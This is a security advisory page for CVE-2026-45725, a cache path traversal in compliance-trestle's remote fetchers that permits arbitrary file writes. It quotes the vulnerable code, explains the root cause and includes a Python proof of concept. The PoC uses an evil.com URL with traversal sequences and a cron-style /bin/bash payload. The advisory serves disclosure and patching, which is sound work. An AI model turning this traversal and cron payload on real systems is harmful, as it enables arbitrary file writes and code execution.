compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal
The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (../). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem.
Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)
Repository: https://github.com/IBM/compliance-trestle
File: trestle/core/remote/cache.py (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher)
Version: v4.0.2 (latest as of 2026-04-30)
```python
class HTTPSFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
# ...
u = parse.urlparse(self._uri)
# ...
if u.hostname is None:
raise TrestleError(f'Cache request for {self._uri} requires hostname')
https_cached_dir = self._trestle_cache_path / u.hostname
# ❌ path_parent preserves ../ sequences from URL
path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
https_cached_dir = https_cached_dir / path_parent
https_cached_dir.mkdir(parents=True, exist_ok=True) # ❌ Creates dirs outside cache
self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)
```
```python
def _do_fetch(self) -> None:
# ...
response = requests.get(self._url, auth=auth, verify=verify, timeout=30)
if response.status_code == 200:
result = response.text # ❌ Attacker-controlled content
self._cached_object_path.write_text(result) # ❌ Written to arbitrary path
```
```python
class SFTPFetcher(FetcherBase):
def __init__(self, ...):
# Identical path construction — same vulnerability
sftp_cached_dir = self._trestle_cache_path / u.hostname
path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
sftp_cached_dir = sftp_cached_dir / path_parent
sftp_cached_dir.mkdir(parents=True, exist_ok=True)
self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)
```
Root Cause:
1. urlparse("https://evil.com/../../../tmp/pwned.json").path = /../../../tmp/pwned.json — preserves ../
2. pathlib.Path(u.path).parent preserves traversal sequences
3. cache_dir / hostname / "../../../../../../tmp" resolves outside cache
4. mkdir(parents=True, exist_ok=True) creates intermediate directories
5. write_text(response.text) writes attacker-controlled content to traversed path
6. No is_relative_to() boundary check on the resolved path
```bash
pip install compliance-trestle==4.0.2
```
```yaml
# malicious_profile.yaml — arbitrary file write via cache traversal
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
```
```python
#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse
# Simulate trestle cache behavior (cache.py:259-266)
trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_"))
cache_dir = trestle_root / ".trestle" / ".cache"
cache_dir.mkdir(parents=True, exist_ok=True)
evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
u = urlparse(evil_url)
# Exact trestle code path
cached_dir = cache_dir / u.hostname
m = re.search(r'[^/\\\\]', u.path)
path_parent = Path(u.path[m.span()[0]:]).parent
cached_dir = cached_dir / path_parent
cached_dir.mkdir(parents=True, exist_ok=True)
cached_file = cached_dir / Path(Path(u.path).name)
print(f"Cache dir: {cache_dir}")
print(f"Resolved write target: {cached_file.resolve()}")
# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!
# Write attacker content
attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"'
cached_file.write_text(attacker_payload)
print(f"Written: {cached_file.resolve().read_text()}")
# Cleanup
os.remove(str(cached_file.resolve()))
shutil.rmtree(str(trestle_root))
```
Expected: Write confined to .trestle/.cache/
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. Rated impact: confidentiality none, integrity high, availability none.
The score comes from this vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
CVE-2026-45725 is classified as CWE-73: External Control of File Name or Path. A caller can influence which file the application opens or writes, extending an operation to files that were never meant to be reachable.
CVE-2026-45725 is recorded against 2 packages.
Published on 27 May 2026 and last revised on 13 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Package)
compliance-trestle has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-73: External Control of File Name or Path) in other software:
Details
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| compliance-trestle | — | 3.12.2 |
| unknown | — | — |
Similar Threats
Site Security Check
CVE-2026-45725 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.